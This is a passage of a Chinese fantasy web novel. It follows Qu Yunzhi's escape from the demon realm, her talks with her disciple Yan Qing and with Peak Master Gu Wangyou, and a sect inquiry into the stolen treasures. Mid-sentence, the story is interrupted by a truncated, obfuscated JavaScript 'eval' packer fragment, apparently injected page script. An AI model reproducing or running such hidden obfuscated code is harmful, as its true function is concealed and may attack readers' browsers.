曲云织怎么也没想到,最先反应过来,紧接着暴怒的居然是段干鸿。 这个三言两语被她挑拨到与魔尊离心,归顺后依旧打着自己小算盘的炎魔,周身燃起焚天烈焰。 “既如此,你就去给魔尊陛下殉葬吧!” 他嗓音冰冷至极,挥手时炽烈红光蔓延如山火,熊熊然如巨兽扑来,势要将她烧死在炼狱之中。 曲云织淡淡看着攻势向自己转瞬袭来,纹丝不动,她本也躲不开这一击。 火光将她苍白的脸抹上凄艳的色泽,却在即将扑至她面前时,被一道突如其来的罡风击碎。 “老夫还在呢,是不是太看不起人了?”温从声不满道,随即冲着下方的曲云织又是和声细语的模样,“曲小友,你此番辛苦。” “以你如今修为,恐在此地不宜久留,速速离开罢。” 曲云织拱手一礼,转身毫无留恋地走了。 温从声随手替她挡了挡身后追击,注视她的背影,理了下胡子,掩去眼底深思。 本来此次行动,极少有人看好曲云织。 要是她以诛邪剑偷袭魔尊成功,上清仙宗自然会欣然接下这次千载难逢的机会。 倘若她失败,与魔族联姻对他们来说也没什么损害。 可当真有所行动时,曲云织以一则魔尊意图布下永夜影域的消息打乱了步调,逼得他无论如何只能动手。 却最终给她创造了击杀魔尊的破绽。 这下好了,原本的一盘开胃前菜,成了压轴出场扭转乾坤的一柄利刃,风头和功劳几乎被她一人占了去。 更重要的是,是他多心还是确有其事? 玄微仙君与魔尊,接连两个气运之子的死亡都与她扯上关系。 算了,用不上他,事后上清仙宗自会问询。 另一边。 曲云织按照早已规划好的路线撤离。 在婚宴会场一条隐秘的通道前,她遇到了宋逾。 他脸上罕见地没什么表情,呆呆看着魔尊消亡的方向,也是在这时,才发现他一旦失去大咧咧的笑,显露出的原本模样单薄又可怜,像一只骨瘦嶙峋,折了腿走路一瘸一拐的流浪小狗。 曲云织脚步顿了顿,她回头看了一圈,宋逾站着的地方是最安全的角落,不会被打斗波及,显然是万俟逐鹿为他精心安排的。 那就不是故意在这里堵她。 可无论如何,挡了她路的人不管是谁都必须除掉。 曲云织握紧了诛邪剑。 宋逾没有看她,也不知是否察觉她的杀心,突然说:“我反正拦不住你,你自去便是。” 曲云织收了诛邪剑,径自向出口处走去,与他擦肩而过时停了停,沉默须臾,似是想起了什么,抛过去一物,“这东西我拿着没用,还给你了。” 宋逾接过来,握在掌心时就已触摸到熟悉的轮廓,可心中怀抱有一丝希望,缓缓松开五指。 躺在他手心的是一串耳坠,华丽雍容的金丝簇拥着一块平平无奇的石头,那菱形宝石非要说有奇特之处,那就是漆黑的色泽中夹杂星河般细碎流光。 幼时魔尊觉得这块乌金石与自己本体很像,珍而重之放在身边盘了许久,还煞有介事将石头兄介绍给他。 “你当真要绝情至此吗?” 宋逾本不欲与曲云织多说哪怕一句话,但当这块万俟逐鹿别别扭扭向他讨要来的定情信物,被她毫不犹豫退还时,一股莫名的愤怒催促着他低吼出声。 曲云织没有回答,重新抬步。 宋逾蓦地转向她,眼中浓烈的恨意再藏不住,一拳挥了过去。 曲云织眸光一冷,接住他绵软无力的拳头,微微愣住,她感知到宋逾的拳头松开,一块棱角分明的东西被抵在她掌心。 “送你的东西就是你的,不管怎样你都必须收下。”宋逾恶狠狠地说。 就当他是诅咒也好,魔尊必须在她心中留下深刻的一笔。 曲云织理解了他话中含义,什么也没说,带上了耳坠。 细如发丝的金线编织成流苏,随她的动作轻晃,撞响微不可查的泠泠之声 宋逾像是浑身力气骤然被抽干,瘫坐在地上。 * 曲云织踏入了上清仙宗的飞舟。 她依旧没有放松警惕,直到飞舟磕磕绊绊撤离魔域,荒芜的景象被一片盎然绿衣所取代,她才将剑搁置在一旁。 “出来吧,已经离开魔域范围了。” 安排给她的房间内,空无一人的角落忽而漾起流水似的波动。 步妄语的身形像是穿透了一层薄膜,自虚空中现形。 曲云织端详面前的少年,还好,顶多在牢房里打滚一圈,有些凌乱和邋遢,但没受什么伤,脸上还是一副不讨喜的刻薄,就那双剔透的金绿异瞳看着顺眼些。 她试探性发问,“要不要随我一同回上清仙宗?” 步妄语双手环抱,靠墙而立,没有第一时间回答,而是思考了片刻,反而向她抛出一个问题。 “你多费口舌地劝我,难道只是为了一个信号弹?” 地牢内一番话把他堵得哑口无言,他都做好被面前这个坏女人利用个彻底的打算,可实际上就只被掏了掏口袋,把信号弹从他那里拿走了。 既没让他接着破坏禁灵法阵,更没有把他当诱饵,或者挖出他藏在王城的人脉为她所用,顶多把他塞在逃跑路线的途中,叫他确保路途通畅。 一开始不顾他的挣扎,将东西从他那儿抢了去,不是更方便吗? 步妄语百思不得其解,“你分明是个无利不起早的,绝情又负心的坏女人,为何对待我仿佛别无私心?” 曲云织:“……” 一时分不清是在夸她还是损她。 她哭笑不得摇了摇头,“就当我心血来潮。” “所以,要同我一起前往上清仙宗吗?” 步妄语一滞,面色有一闪而过的不自在,毛发炸了一炸。 心里越软和,对外就要越强硬,他上上下下挑剔地审视曲云织一番,哼了一声,“就你?” 步妄语横挑鼻子竖挑眼,有条不紊数落道:“你修为不高名声又不好,在上清仙宗没多少人脉,此番回去后比起论功行赏,更有可能面临的是数不清的质疑。” “你自己尚且还没站稳脚跟,就想着养我?” “更何况我是个人魔混血。”他思绪天马行空一转,又被自己的想象给整得恶寒,“不会冒出我是你和魔尊私生子,你们早瞒着玄微仙君暗通款曲的流言吧?” 曲云织:“……”少年,好想象力。 步妄语总结道:“我精贵得很,对生活环境还挑剔,要是等你发达了之后还想着养我,到那时也不是不可以考虑。” 他昂着头,骄矜又自傲,说这话时一点不害臊,可躲闪的金绿异瞳还是出卖了他。 曲云织笑出了声,心情也不由明朗些许,她坐在桌前,一手托腮,“那你往后是如何打算的?” 步妄语打开了窗子,任由风呜呜往里灌,“你不是说要我多看看外面的世界吗?” 他一脚踩上窗棂,头也不回,“麟符已毁,我到不了魔域,人族也好妖族也罢,总之往天底下哪个地方一钻,四处游历。” “下次见面,我就勉为其难向你分享见闻。” 说完,一句道别也没有,步妄语纵身跃下飞舟。 曲云织往他消失的方向看了一会儿,不急着关上窗户,任由辽阔长风静静吹拂。 她好像有些累了。 正当她以为总算可以落个清净的时候,外边响起了敲门声。 “进。” 曲云织揉了揉眉心,听到门打开又合上的声音,她抬头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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颜清看着曲云织佯装严厉的表情,神思飘回许多年前一个阴雨天。 天空灰蒙蒙的,雨丝连绵而落,浸透了每一口空气。 一条山间泥泞小道旁,跪着一个灰衣打补丁的半大少年。 他似乎在这里跪了很久,一言不发低垂着头,呼吸都断断续续,唯独脊背挺得笔直,像生了一副不屈而倔强的反骨。 有弟子路过窃窃私语。 “他就是那个收徒大会上扬言要拜师玄微仙君的小子?” “没错,听说资质属实不错,连掌门都动了收徒的心,可玄微仙君那是谁?太乙天书之主,天上白玉京的那个玉京峰仙人!” “当然是瞧不上他这个乞丐出身的野小子,气得当场拂袖走人。” “哈哈,然后呢?” “然后啊,这小子还不死心,成日跪在玉京峰下,还放话说他的师傅非玄微仙君不可。” “简直痴心妄想,也不看看自己是个什么身份,仗着有点资质就自视甚高,这下摔得够惨了吧?” 一句句戳人肺管子的话,隔着朦胧雨帘飘过来。 颜清不为所动,他身体在雨和泥中泡了许久,已有些僵冷,眼皮摇摇欲坠,几乎昏死过去。 但他还不能倒下。 自小他就知道什么东西都要靠自己争取,而他只想要最好的那一个。 作为当今修者第一人,玄微仙君合该是他的师父! 颜清身子晃了晃,一手撑在泥地里,才没有当场昏倒。 他原以为会换来变本加厉的嘲讽,出乎意料,路过弟子半晌噤若寒蝉。 像是有什么大人物来了。 颜清艰难掀开眼皮。 雨幕之中,白衣鹤氅的仙君手执一柄油纸伞,全然不见仙人脱尘绝俗的模样,就这般踩在山间小道上,像是寻常凡人的林中漫步。 不知说了些什么,仙君低眉。 浅笑着,拂去身旁女子鬓边落叶。 29. 第 29 章 “玄微仙君。” “曲夫人。” 弟子们恭敬地立于两侧,垂首行一道礼。 玄微颔首,噙着清雅温润的笑意,秉持作为师长那一辈人的职责,关切问了句,“今日功课做完了没,学业如何?” 弟子们的脸瞬间涨红,以为仙君撞见他们有闲心嘲讽颜清,支支吾吾低声说:“还、还没。” 玄微尚未开口,就听弟子们紧跟着说:“我刚刚收到师父传信,先走一步。” “我、我也想起有事,告辞!” 须臾之间,人都作鸟兽散。 玄微眨了眨眼睛,扬袖替身边人挡去飞溅的雨丝,“……这届弟子行事未免跳脱了些。” 曲云织忍俊不禁,“你怎么不说是你年纪大,跟不上年轻人的举动了?” 玄微慢了半拍才反应过来,转头难以置信道:“你嫌我老?” 曲云织轻咳,“没有,你想多了。” 二人闲谈间,径自路过了跪在一旁的颜清。 若说玄微对弟子们亲切和善,半点不像高高在上的仙君,对待颜清却是目不斜视,淡漠到眼里简直看不到这人。 曲云织回头望了一眼。 细雨萧肃,上山的这条道旁生了一片青竹林。 长身跪在泥地上的少年穿着外门弟子的服饰,因染了脏污变作灰扑扑的模样,还打了大大小小的补丁,看得出来处境不大好。 他身形瘦削,才刚刚发育抽条,嶙峋的脊骨像这漫山遍野的竹子,带着股坚韧而旺盛的生命力,面容被雨幕模糊,唯独给人印象深刻的,是一双寒彻的眼眸。 曲云织叹了一声,“都跪了有十来天,每日功课一结束就在这儿风雨无阻地候你,我瞧着怪可怜的。” “为何不干脆收了他?” 玄微一顿,却连头也不回,淡淡的嗓音品不出半分情绪,他只简单说了两个字。 “无缘。” 颜清倏地攥紧了五指,他知道这话明明白白是说给他听。 多日以来的煎熬与等待本来不算什么,他受的苦多了去了,可当仙君这话一出,指着他的鼻子说他痴心妄想,如同炸了锅的沸水,一刹那叫他生出一股迫切的冲动。 他也这么做了。 “玄微仙君!” 颜清突兀开口,喊住了即将消失在山道尽头的人。 少年瘦得只剩一把骨头,还根根都是桀骜反骨,他起身时腿一麻,险些踉跄跌倒,及时扶着竹子才稳住身形。 他顾不得这些,扳动僵冷的手指,娴熟掐了一个法诀,一簇亮橙色的火焰飘摇而起,驱散身周寒意。 “初级御火诀,寻常弟子熟练习得需要三天,而我今日只在讲堂听了一句,就已如臂指使。” 颜清冷静地说着,肆无忌惮向仙君展示自己值得夸耀的天赋。 “冥心寂照,阴灵不散,是为冥照境,也是凡人入道第一步,我只花了不到七日,就走完其他人一年甚至数年才能走完的路。” 颜清咧嘴笑了一下,抬头直视玄微仙君的背影,轻声说:“比您当年差了一些,但不多,努努力就能赶上。” “仙君不肯收我,莫非是怕我青出于蓝而胜于蓝?” 大逆不道的话一出,玄微总算回了头。 他神色不辨喜怒,将油纸伞递给曲云织,踏入雨中,站定在颜清面前。 颜清仰头。 仙君一袭白衣鹤氅,不染纤尘,就连雨丝也不忍搅了他一身洁净,纷纷避让而行,让他看起来恍若明珠生晕,皎洁如月。 颜清局促拉了拉衣角。 对比起来,自己就是那妄图攀月的沟渠。 玄微将手轻轻搭上他的发顶。 颜清下意识紧闭双眼,有些拿不准的恐惧。 却听仙君道:“你天生奇经八脉通畅,根骨俱佳,兼有一副玲珑心窍,虽在俗世中积累了些许尘垢,但只要基础打好,往后前途不可限量。” “以你的资质,不必非要拜师于我,无论哪位峰主,甚至是掌门也好,有他们的悉心教导,有朝一日终可扶摇上青云。” 玄微一叹,“何必执着?” 说完,仙君便不再理会,一挥袖摆。 颜清只觉眼前一晃,下一瞬他便被驱逐出玉京峰的范围,再难踏入那座山头。 他静立许久,扯了扯嘴角,躬身行礼,“弟子谨记教言。” 他凭什么不能执着? 曲云织原以为那个执意于玄微的弟子,只是微不足道的一个小插曲,叫人死了拜师的心,今后便不再有交集。 可后来她好几次遇见了他。 每次都是孤零零一人,经常被一群弟子嘲笑捉弄。 怎么把自己越过越惨了? 想到这其中有玄微不留情面回绝他的原因,曲云织帮衬了他几次,一来二去就这样熟悉起来。 一日,曲云织正在休憩,看着少年忙前忙后的样子,她忽然托腮,漫不经心问道:“见我比较心软,于是从我这里入手,还想着拜玄微为师呢?” “那几个欺负你的弟子,也是你故意招惹的?” 颜清到底还年轻,小心思被戳破,脊背明显地僵硬住。 她从一开始就知道,还陪他演了这么久的戏? 顿了片刻,颜清调整好脸上表情,回头笑嘻嘻地说:“那是当然,我可是立下过雄心壮志,要拜就拜全天下最好的师父!” 曲云织一笑,她倒是不讨厌少年直白的野心。 “玄微这人什么都好,就是事情喜欢亲力亲为,偌大一座玉京峰都由他一人打理,他不嫌烦我都烦了。” “所以。”曲云织状若无意地说,“我身边还缺一个洒扫童子。” 颜清的眼神亮了起来。 “那日玄微仙君的葬礼上,师尊本是叫我设伏魔尊,可师尊自己反倒让魔尊掳走。” “我一时也不知您是如何打算,竟临时变更了主意,于是以营救师尊的名义召集人手,先将仙君留给您的资产与人脉稳住了再说。” “然后想办法借由我在魔域的探子,将消息递给了您。” 即便过了几度春秋,曾经瘦削伶仃的少年长成玉树临风的青年,他眼中明亮灿烂的色彩一如往昔。 一副求夸奖的模样,扑进曲云织怀里蹭了蹭,“师尊,我做得好不好?” 曲云织摸了摸他的头,“嗯。” 颜清却没有意料中的满足笑容,而是从她怀里出来,来到步妄语跳下去的那扇窗户前,先往外冷淡地瞟上一眼,后啪一声合上窗子。 他语调幽幽,“那么请师尊告诉我,那个野孩子是谁?” 曲云织:“……”哦豁。 颜清眼角憋出两颗泪花,“师尊是不是在敷衍我,对我有什么不满意的地方说出来,我改就是了,为什么要瞒着我收养一个野小孩?” 曲云织:“……别误 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颜清摇了摇头,“不是,这件事我也是从步妄语口中刺探的,麟符的工艺其实是永夜城主传授给炎魔一族。” 曲云织沉思,这也说得通。 她想起仲凌尉无意间透露的一句,麟符可助魔尊暂缓开启永夜影域的虚弱期。 结合魔尊说影域由边境魔族共同组成,她原以为是借麟符掌控边境魔族的行动,但仲凌尉并不知晓这一真相,又为何断言麟符于影域有助益? 现在却明白了,麟符的锻造与身为影魔的永夜城主脱不开干系。 其中蕴藏的工艺,也说不准和影域有异曲同工之妙。 “我怀疑永夜城主其实没死。” “说不定躲过了当年那波围剿,现在正在哪个地方逍遥快活。” 颜清一句话惊醒了曲云织的神思。 她有些诧异,“为何这么想?” 颜清一耸肩膀,“因为在永夜城遗址中,我发现了很多有意思的蛛丝马迹。” “比如当年参与围攻的不止有各大仙门修士,还有妖族,永夜城躺了不少大妖尸骨。” “城里的阵法禁制竟还完好保存,没有被强行自外部攻破,还把我折腾得够呛,简直就像当年被从内里关闭,也就是说永夜城内部出了魔族的叛徒。” “最后,也是最有意思的一点——” 颜清摸了摸下巴,隔了这么久,他依然对永夜城一行兴趣不减,“永夜城毁于神族神罚术。” 曲云织神色终于有了明显的变化,“人魔神妖,区区一个永夜城主竟值得四族讨伐?” “是啊,很有意思吧?”颜清抚掌笑道,“这倒霉鬼也不知触犯了什么天条。” “一个人有本事犯下这么大的事,说不准同样有本事苟命,我怀疑他还活着也只是基于此的一个无根无凭的猜测。” “但有一点我十分确信。” 颜清意味深长地说:“永夜城主的秘密,他到底酿下什么大错,现在是生是死,答案就藏在了麟符之中。” 可麟符已经被魔尊毁了。 等等! 仲凌尉的话语再度浮现曲云织心头。 “魔尊拿到麟符后,几乎是迫不及待毁掉了。” 迫不及待? 魔尊在着急些什么? 30. 第 30 章 曲云织不自觉揉捏左耳上的乌金石耳坠,指腹碾压菱形棱角,传来的细微刺痛提醒她—— 这件事还没完。 万俟逐鹿死了,死得透透的,九幽水也已经转移到她身上。 但他偏偏留了个麟符的疑点给她。 曲云织轻轻啧了一声,长睫垂下,遮住眼底一闪而逝的冷光,一手掩唇,露出一个连她自己也未察觉到的笑。 击杀魔尊后,她心底感到难言的疲惫,但那应该不是悲伤,至少她不允许自己伤怀,更不应该因为这点微不足道的情感停下自己的脚步。 如今骤然得知万俟逐鹿还给她留了一道迷题,他依然对自己有所保留,而不是一无所有地死去。 她恍惚间有种,你小子果然是还这副德行,这般又好气又好笑的感觉。 曲云织呼出一口气,满腔的压抑与惫懒随之烟消云散。 接触过麟符的共有三人。 万俟逐鹿、步谨言,还有步妄语。 其中前两个已经死了,他们是否得知麟符的秘密,又是否告知了其他人,这件事已不可知。 甚至于曲云织还隐约生出一个猜测,会不会麟符并未被摧毁? 譬如万俟逐鹿偷偷留了下来,亦或者步妄语交出去的那个是假的。 步妄语回绝她提出前往上清仙宗的邀请,有没有可能真正的麟符还在他手上,而他急着离开,正是为了回避对他知之甚详的颜清? 曲云织思索的时间过于长了,一开口便问,“你对步妄语了解多少?” 颜清敏锐意识到其中问题,“那小鬼有什么不对?” 曲云织将自己的猜测,包括步妄语其实是曾经的魔族太子这一事实悉数道出。 颜清沉吟不语,倚在墙上,手捏着下巴,眼中思绪几番流转。 正当曲云织以为他会冒出什么见解时。 忽听颜清幽幽来了一句,“我就说外边捡的小猫小狗不好。” “不干净。” 曲云织:“……” 颜清一副我牺牲可大了的隐忍表情,“不过如果师尊非想要那个人魔混血,我下次见到了,将他捉过来也成。” 曲云织:“……”这件事过不去了是吗? 飞舟一路顺利地回到了上清仙宗。 踏上熟悉的玉京峰,漫山苍翠中那间竹屋陈设一如往昔,石板路上也未生青苔。 颜清走在前头,伸了个懒腰,“总算回家了。” 曲云织脚步停了停。 家? 颜清好似并未察觉她这一瞬的犹豫,回过头来邀功道:“师尊离开的这些天,都是我在打理,怎么样,不比玄微仙君做得差吧?” 曲云织看着面前眉眼恣意的青年,缓缓露出一个笑,“嗯。” 简单梳洗,换回她最熟悉的黑衣素净的打扮。 曲云织搭上颜清的肩膀,温声说:“这些日子辛苦你了,你做的比我想象中还要好,最后还有一件事需要麻烦你。” 颜清不以为意,“师尊尽管吩咐便是。” 曲云织都懒得纠正师尊这个称呼,私底下叫一叫也行。 她漠然敛下眼眸,想起万俟逐鹿曾一语道破玄微并非真正的人族气运之子,笃定太乙天书是玄微抢来,而非上一任气运之子死后继承得来。 玄微仙君是冒牌气运之子,这该是多大一个攻奸的把柄,可万俟逐鹿至今未用过,这说明在他的认知中,这算不上把柄。 万俟逐鹿见过以至于认识真正的人族气运之子。 此人说不定还活着,此刻就在上清仙宗! 玄微与他达成某种交易,从他身上借来太乙天书,却被她曲云织中途抢走。 曲云织的身份明明白白暴露在此人眼中。 但凡这人将她夺取鸿蒙至宝的能力传出去,等待她的就是人魔神妖四族共同围杀! 至宝关乎一族气运,且两两相遇能爆发出极大威力,此前一直被四族各自掌管。 她的存在就是破坏这一平衡。 如果不是断定不可能,她都怀疑过上一个被四族围剿的倒霉蛋永夜城主,是自己的族人。 不回到上清仙宗找到真正的人族气运之子,曲云织只有死路一条。 至于此人是谁—— 唯有他知道曲云织手上有太乙天书,人魔二族的鸿蒙至宝早已齐聚,所以在那人看来,魔尊提出与人族结盟共讨神妖二族的计划,可行性极高。 所以比起大多数对这桩联姻摇摆不定的老家伙,那人立场必定强硬。 结合这些条件,再筛选一下曾经风光无限现如今沉寂的天才,最后剩下的仅一个人选—— 上清仙宗掌门的闭关弟子,浮罗峰主顾忘忧。 曲云织轻声对着颜清说:“我待会儿要去拜访浮罗峰主一趟,你替我遮掩些行踪。” 颜清不多过问,应一声,“师尊放心,我办事指定稳。” * 正值初夏,浮罗峰上却下起了雪。 此处地势颇高,天上淡淡灰霾只手可摘,三两点素雪疏落,一面冰湖在山顶铺开,湖中心有一座亭子。 流水般的琴音自亭中飘来,走近了便可瞧见正有一墨发披散,肩头搭一件大氅的青年盘膝而坐。 顾忘忧察觉有人靠近,抚琴的手一顿,不咸不淡抬眸,“拜帖都没有一张,不请自来,客人是否失礼了些?” 曲云织欠身一礼,“是我有失妥当,向顾峰主赔个不是。” 顾忘忧乍一听闻陌生女子声音,目光落在曲云织面容,思索了片刻,恍然道:“原来是曲夫人。” “无妨。”他起身,抬袖一指身前的座位,“不知曲夫人来我这冷清的浮罗峰有何要事?” 曲云织落座,打量面前的浮罗峰主。 青年生了一副姣好容貌,面如冠玉,修眉俊目,宽袍大袖笼在身上,更显他落拓风逸的气质。 作为掌门闭关弟子,他曾经也是天之骄子风头无两,眼下却近乎于隐居不问世事。 “我听闻顾峰主与玄微关系很是要好。”曲云织说。 “不敢当。”顾忘忧笑了一声,“我当初在秘境历练,九死一生之际是玄微仙君出手救了我,关系要好称不上,欠他一份恩情倒是真的。” 说着他向玉京峰的方向略一拱手,叹道:“可惜没机会还了。” 曲云织眉眼氤氲忧色,“顾峰主实在客气了,玄微曾和我说过,他当时到底来得晚了些,虽救下顾峰主一命,却仍是让你损了根基,自此之后修行艰难。” 顾忘忧有些沉默,他取出一旁火炉上温着的酒壶,给自己斟满,朝对面递了递,“曲夫人要来上一杯吗?” 曲云织委婉拒绝。 顾忘忧仰头,杯中酒一饮而尽,透明清澈的酒液顺着他脖颈一路滑入衣领。 放下酒杯,擦去水渍,他神色舒展,还算洒脱地说:“过去这么多年,修行上的事我也差不多放下了。” 曲云织赞了声,“峰主好心性。” 顾忘忧却一点没被她触动,“曲夫人莫非是专程来奚落我的?” 曲云织弯了弯唇角,“怎么会?实不相瞒,我此番前来有一事想求助于顾峰主。” 顾忘忧挑眉,“玄微的恩情我偿还不了,自然要替他照拂遗孀,只要在我力所能及的范围,曲夫人尽管说便是。” 曲云织径直望入顾忘忧一双醉意朦胧的眼。 “我想前往妖族。” 继人族太乙天书与魔族九幽水之后,收集妖族鸿蒙至宝。 顾忘忧正打算斟酒的手一顿,深深看了曲云织片刻,蓦地朗声大笑。 “妖族可不是什么好去处。”笑够了,他说。 不等曲云织有所反应,顾忘忧伸手在空中一捞。 霎时间,这片天地隐隐波动起来,宛如被风吹皱的画卷,不如说浮罗峰上的寒江雪与湖上亭,本就是画中物的具象! 铺开的雪景重新聚拢成一副画轴,被顾忘忧捞到手里,随意扔在一旁。 青年着一袭宽松单薄的里衣,外罩金线云纹的大氅,懒懒横卧在一张美人榻上,脸上哪儿还有落魄天才的无奈与释然,分明笑眯眯的模样注视着曲云织。 他不装了。 曲云织背脊紧绷,极具收缩的瞳孔还残留一丝惊色。 她方才无知无觉踏入这青年画中天地,说不准就什么时候被他提笔抹去了性命! “被吓到了?”顾忘忧支着下巴问她。 曲云织过了数息,像是被方才雪景冻住,拢了拢衣衫,迟缓地笑着说:“是啊。” “枕边藏着一把刀,谁能不害怕呢?” 玄微果真和面前这人有交易,还是瞒了她许多年的一桩买卖。 “他可以的话,我不行吗?”曲云织向着顾忘忧毛遂自荐,她想知道这桩交易的内容,玄微究竟瞒了她什么。 “我与玄微来自同一个地方,甚至于他束手无策的魔尊被我斩于剑下。” “这足以证明,我比他有用得多。” 顾忘忧没想到她能如此直白,蹙眉略苦恼,“曲夫人,谈判也不是这么谈的,谁一上来就急着出示底牌?” 曲云织偏了偏头,眼波颤动欲碎,让自己看起来楚楚可怜,“这不是谈判,更不是交易,而是一介弱女子的自救。” “玄微死了,我的族人也不复存在,这世 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曲云织掀开眼帘,“理由?” 她本以为顾忘忧会避而不答,没曾想他一脸苦相,“也对,你毕竟和玄微一样来自与世隔绝的山沟沟里。” “这话我跟玄微说过一遍,那就免费再跟你讲一次吧。” 曲云织:“……”合着以前是付费的。 顾忘忧说:“你单知道四族拥有各自的鸿蒙至宝,可知至宝来历?” 曲云织摇头。 顾忘忧语调不急不缓,娓娓道来像在讲一则故事,“天地初开,鸿蒙未分之际,诞生了人魔神妖四族的始祖。” “他们反噬了彼时尚未完全的天道,咬下来的天道法则就成了如今鸿蒙至宝。” “很快四位始祖受天道降灾陨落,气运之子所受磨难正是源于残留的诅咒。” “但这还没完。” 顾忘忧竖起一根食指,“前面这些事与现在的我们没多大关系,真正麻烦的是作为四位始祖的后裔,人魔神妖四族依然没被天道放过。” “修真界所有人都中了诅咒,名为互食的诅咒。” 顾忘忧兴致勃勃地说:“据说最开始我们不饮不食也能存活,可现在所有诞生此世的生命,自出生起就必须践踏其他的生命才能活下去。” “人要吃飞鸟走兽,魔族要吃人。” “因果业障不断地积累,迟早有一日会引来天地大劫。” “以上这些便是前提。” 顾忘忧坦然道:“我收集鸿蒙至宝,是希望物归原主之后,天地大劫不会发生。” 曲云织不解,“为何需要我尽心竭力收集至宝,将天地大劫一事如实告知,面对如此威胁,四族总该齐心了吧?” 顾忘忧摊了摊手,“因为他们面临和我一样的纠结。” 他手指往曲云织面前一晃,“就如同我不将你的存在说出去,能独享你的能力,一旦你暴露了就什么好处都捞不着。” “而鸿蒙至宝每一件都拥有单独渡过天地大劫的能力,还关乎本族气运,既如此,凭什么要交出去归还给天道,自己还了其他三族也一样会还吗?” 顾忘忧叹气,“正因为这样的猜疑,问题越拖越严重,我实在看不下去,才心生此法。” 曲云织神色淡淡,笑了下,缓缓说道:“顾峰主心系天下,我实在佩服,便应了这桩交易罢。” 顾忘忧满脸惊喜,“曲夫人才是心胸宽广。” 二人相视而笑。 曲云织并没有多信任顾忘忧,只是他话中有一点让她不得不信服。 因为活生生的例子就摆在眼前。 她目光落下,若有所思盯着冰湖上自己的倒影。 在离开族地以前,她从来不知道人非得吃东西才能活下去。 她们这一族不需要进食。 族地迎来天罚,而侥幸逃脱的她也开始懂得饥饿的滋味,是否证明她们一族曾规避诅咒而后面临了清算? 无论如何,顾忘忧所说天道降下互食的诅咒大抵为真,前提是这并非他与玄微提前串通好的谎言。 而曲云织收集四族鸿蒙至宝的目标也不曾改变。 合作谈妥后,暂时不用担心自己秘密泄露,她从顾忘忧那里回到了玉京峰,只见颜清迎了上来。 曲云织看他眼中隐有焦急,顺嘴问了句,“发生了什么?” 颜清压低声音,飞速地说完。 “宗门要开启问心镜,询问师尊是否谋夺了鸿蒙至宝。” 31. 第 31 章 “曲云织,人族太乙天书与魔族九幽水,此刻是否在你身上?” 踏入宗门大殿,迎面而来就是一句质问。 曲云织抬头,挑了挑眉,今儿个挺热闹,除去尚在闭关的掌门,四位长老和十二峰主几乎都来了。 空了两个席位,一是无主的玉京峰,二是基本不问世事的浮罗峰。 方才语气严厉逼问她的,正是郁察峰主秋白凫。 此人戴一恶鬼罗刹面,自面具下传来的嗓音阴沉嘶哑,在宗门里出了名的不讨喜,独来独往,待谁都刻薄多疑。 秋白凫一张青面獠牙直勾勾对着曲云织,“怎么还不回答,心虚了吗?” “白凫啊,你这话说得就有些过了。” 温从声出言打断了他,作为仙宗大长老,掌门闭关的情况下由他代为主持此次问询。 秋白凫狠狠剜过来一眼,白凫白凫的,叫他水鸟吗? 温从声先是讪讪,他倒不急着甩出一连串问题,而是对曲云织嘘寒问暖一番。 “曲小友,此次魔域一行实在辛苦。”他颇有些懊恼自责,拍了拍脑袋,“怪我那时没能从魔尊手底下护住你,实在对不起玄微。” “好在一切平安无事,曲小友诛杀魔尊也立了大功。” 曲云织欠了欠身,“温长老实在客气了,若非您甘冒风险相助,我一人也成不了事。” “我看不见得。”秋白凫不死心,像根刺头一样又冒了出来,阴阳怪气地表示,“才不到数月的功夫就将魔尊迷得神魂颠倒,曲夫人本事大得很。” 反驳他的不是曲云织,而是另一道声音,“人家曲道友修为不足,深陷魔域为了自保,用点特殊手段怎么了?天下手段不分正邪,人才分,水鸟儿啊,你连这点事理都不明白了吗?” 装都不装了,直接喊他水鸟! 秋白凫视线一扫,很快钉在了出声之人的身上。 女子杏黄衣衫,云锦抹额,随身佩一把乌鞘剑,乃丹玄峰主赵缨。 赵缨正百无聊赖拨弄着朱红剑穗,见秋白凫凶神恶煞的一双眼,她歪头,“呦呵,想打架呢?” 眼见这二人即将越过口角冲突,直达拳脚功夫的阶段。 温从声忽而不轻不重咳嗽了一声。 二人这才偃旗息鼓。 温从声笑了笑,“失礼,老夫受了契约反噬,伤还没养好。” 他捋捋胡须,转向曲云织进入了正题,“曲小友,此番你立了大功,实在不是我们针对你,而是其中有诸多疑点还需小友的解答。” 曲云织揣着袖子,轻笑道:“我省得的,长老问便是。” 温从声看她的目光顿时慈祥了不少,还是她比较贴心,虽说如此,他严肃了表情,“魔尊意图效仿当年永夜城主,尤有甚之开启永夜影域,这条消息你是从哪儿得来的,为何不提前告知仙宗?” 曲云织心道这题简单,她将李思归的存在事无巨细说了出来,“并非我有意隐瞒仙宗,而是我直到那时才得知魔尊的打算。” “魔尊旗下大将仲凌尉,其真实身份是李思归?”温从声眼睛微微瞪大,抚须的手一顿,“天下还有这等巧事?” 其他峰主长老也在议论。 “李思归?好像确有其人,我听万法宗那老鬼提过。” “这你都不认识?当年的万法宗双天骄之一,只是这二人一死一失踪后,万法宗近些年就没落了。” “没想到失踪的那个跑去了魔族。” 众人一阵唏嘘,但点到即止。 “第二个问题。”温从声思索了片刻,忧心忡忡,“这个问题有些偏私人,曲小友即便不想回答也无妨。” 那你还不如别问。 曲云织想是这么想,却不会这样说,“我问心无愧,没什么好藏私的。” “那就好。”温从声像是松了口气,随即挤眉弄眼,露出个八卦又老奸巨猾的笑容,“老夫想知道,魔尊临死前对你说了什么。” 曲云织眼眸微动,定定看着他,半晌不语。 温从声舔着脸继续说下去,“当时声音都被小秘境的罡风阻了去,老夫也只能看到你与魔尊似有所交谈。” “若是感情上的私事老夫便不过问了,但若是——” 剩下的话他没说,只留给众人意味深长的遐想空间。 曲云织察觉到诸多怀疑的目光往她身上打量,她唇角的弧度纹丝未改,依旧游刃有余。 “我只是告诉魔尊,他之所愿,我必不会坐视他顺遂。” 曲云织骤然拔高了声音,冷下眉眼,咄咄逼人道:“温长老此问莫不是怀疑我与魔尊仍有私情?” “笑话!” 她踏前一步,眼神丝毫不躲闪,指着自己胸膛剖心析肝地控诉,“我与玄微自小青梅竹马,情谊深厚,是在天道见证下结契的道侣。” “莫说魔尊将我强行掳到魔域,就说他三番两次害玄微重伤,甚至因为这伤殒命劫雷之下。” 